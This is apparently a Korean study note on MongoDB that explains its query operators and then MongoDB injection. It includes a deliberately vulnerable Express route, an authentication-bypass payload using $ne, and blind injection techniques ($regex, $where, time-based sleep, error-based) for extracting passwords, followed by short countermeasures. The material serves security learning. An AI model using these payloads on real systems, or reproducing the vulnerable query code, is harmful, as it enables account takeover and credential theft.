[2025-07-21] MongoDB
🦥 본문
MongoDB
NoSQL 데이터베이스 중 하나로 JSON 형식의 문서로 데이터를 저장하고 관리하는 문서 지향 데이터베이스.
특징
- 스키마가 존재하지 않아 가 테이블에 특별한 정의를 하지 않아도 된다.
- JSON 형식으로 쿼리문을 작성할 수 있다.
_id
필드가 기본키 역할을 한다.
> db.user.insertOne({uid: 'admin', upw: 'secretpassword'})
{ acknowledged: true, insertedId: ObjectId("5e71d395b050a2511caa827d")}
> db.user.find({uid: 'admin'})
[{ "_id" : ObjectId("5e71d395b050a2511caa827d"), "uid" : "admin", "upw" : "secretpassword" }]
연산자
- 비교 연산자
| Name | Description |
| — | — |
| $eq
| 지정된 값과 같은 값을 찾습니다. (equal) |
| $gt
| 지정된 값보다 큰 값을 찾습니다. (greater than) |
| $gte
| 지정된 값보다 크거나 같은 값을 찾습니다. (greater than equal) |
| $in
| 배열 안의 값들과 일치하는 값을 찾습니다. (in) |
| $lt
| 지정된 값보다 작은 값을 찾습니다. (less than) |
| $lte
| 지정된 값보다 작거나 같은 값을 찾습니다. (less than equal) |
| $ne
| 지정된 값과 |
- 논리연산자
| Name | Description |
| — | — |
| $and
| 논리적 AND, 각각의 쿼리를 모두 만족하는 문서가 반환됩니다. |
| $not
| 쿼리 식의 효과를 반전시킵니다. 쿼리 식과 일치하지 않는 문서를 반환합니다. |
| $nor
| 논리적 NOR, 각각의 쿼리를 모두 만족하지 않는 문서가 반환됩니다. |
| $or
| 논리적 OR, 각각의 쿼리 중 하나 이상 만족하는 문서가 반환됩니다. |
- Element 연산자
| Name | Description |
| — | — |
| $exists
| 지정된 필드가 있는 문서를 찾습니다. |
| $type
| 지정된 필드가 지정된 유형인 문서를 선택합니다. |
- Evaluation 연산자
Name | Description |
---|---|
$expr |
쿼리 언어 내에서 집계 식을 사용할 수 있습니다. |
$jsonSchema |
주어진 JSON 스키마에 대해 문서를 검증합니다. |
$mod |
필드 값에 대해 mod 연산을 수행하고 지정된 결과를 가진 문서를 선택합니다. |
$regex |
지정한 정규식과 일치하는 문서를 선택합니다. |
$text |
지정한 텍스트를 검색합니다. |
$where |
지정한 자바스크립트 식을 만족하는 문서와 일치합니다. |
MongoDB Injection
사용자 입력값이 MongoDB 쿼리 내에 그대로 삽입되어, 인증 우회, 데이터 노출, 조작 등 악의적인 동작을 유발하는 공격 기법
-
취약 코드
const express = require('express'); const app = express(); const mongoose = require('mongoose'); const db = mongoose.connection; mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true }); app.get('/query', function(req,res) { db.collection('user').find({ 'uid': req.query.uid, 'upw': req.query.upw }).toArray(function(err, result) { if (err) throw err; res.send(result); }); }); const server = app.listen(3000, function(){ console.log('app.listen'); });
- 이용자가 입력한 uid와 upw에 해당하는 값을 데이터베이스에서 조회하는 예제 코드
- 공격 코드를 통해 관리자 계정을 조회할 수 있다.
http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a => [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]
MongoDB Blind Injection
실행 결과가 애플리케이션에 출력되지 않을 때 응답 내용 만으로 정보를 추측하는 공격 방법.
-
$regex
> db.user.find({upw: {$regex: "^a"}}) > db.user.find({upw: {$regex: "^b"}}) > db.user.find({upw: {$regex: "^c"}}) ... > db.user.find({upw: {$regex: "^g"}}) { "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
-
$where
: 필드 안에서는 사용 불가> db.user.find({$where:"return 1==1"}) { "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" } > db.user.find({uid:{$where:"return 1==1"}}) error: { "$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field", "code" : 17287 } //substring을 사용하여 Blind SQli > db.user.find({$where: "this.upw.substring(0,1)=='a'"}) > db.user.find({$where: "this.upw.substring(0,1)=='b'"}) > db.user.find({$where: "this.upw.substring(0,1)=='c'"}) ... > db.user.find({$where: "this.upw.substring(0,1)=='g'"}) { "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" } //Time Based Injection. 서버에서 아래와 같은 코드로 조회할 때, db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`}); //sleep 함수를 사용하여 공격 가능 /?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1 /?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1 /?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1 ... /?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1 => 시간 지연 발생. //Error Based Injection. 아래와 같이 문법 에러를 발생하는 asdf를 삽입하여 앞선 비교식이 참일 경우 에러 발생 > db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"}); error: { "$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ", "code" : 16722 } // this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생 > db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"}); // this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음
대응 방법
- 쿼리 연산자 문자열 차단
- 타입 강제화 : 사용자의 입력을 문자열로 강제 변환
- ORM 사용
- WAF을 통한 필터링
Leave a comment